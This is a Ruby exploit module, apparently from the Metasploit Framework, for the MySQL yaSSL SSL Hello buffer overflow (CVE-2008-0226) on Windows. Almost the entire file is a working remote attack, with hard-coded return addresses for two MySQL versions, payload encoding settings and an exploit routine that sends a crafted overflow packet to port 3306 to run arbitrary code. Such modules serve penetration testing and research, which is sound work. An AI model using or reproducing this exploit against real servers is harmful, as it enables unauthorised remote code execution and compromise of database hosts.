88 lines
2.3 KiB
Ruby
88 lines
2.3 KiB
Ruby
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##
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# $Id:
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Windows::Mysql::MySQL_yaSSL < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'MySQL yaSSL SSL Hello Message Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in the yaSSL (1.7.5 and earlier)
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implementation bundled with MySQL <= 6.0. By sending a specially crafted
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Hello packet, an attacker may be able to execute arbitrary code.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision:$',
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'References' =>
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[
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[ 'BID', '27140' ],
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[ 'CVE', '2008-0226' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 600,
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'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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'StackAdjustment' => -3500,
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'MySQL 5.0.45-community-nt', { 'Ret' => 0x008b9d45 } ],
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[ 'MySQL 5.1.22-rc-community', { 'Ret' => 0x008b04c9 } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jan 4 2008'))
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register_options([ Opt::RPORT(3306) ], self)
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end
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def exploit
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connect
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sock.get_once
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req_uno = [0x01000020].pack('V')
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req_dos = [0x00008daa].pack('V') + [0x40000000].pack('V')
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req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')
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req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
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req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
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req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')
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req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3917 - payload.encoded.length)
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req_dos << make_nops(100) + payload.encoded + [target.ret].pack('V')
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req_dos << make_nops(16) + [0xe8, -650].pack('CV') + rand_text_alphanumeric(1024)
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print_status("Trying target #{target.name}...")
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sock.put(req_uno)
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sock.put(req_dos)
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handler
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disconnect
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end
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end
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end
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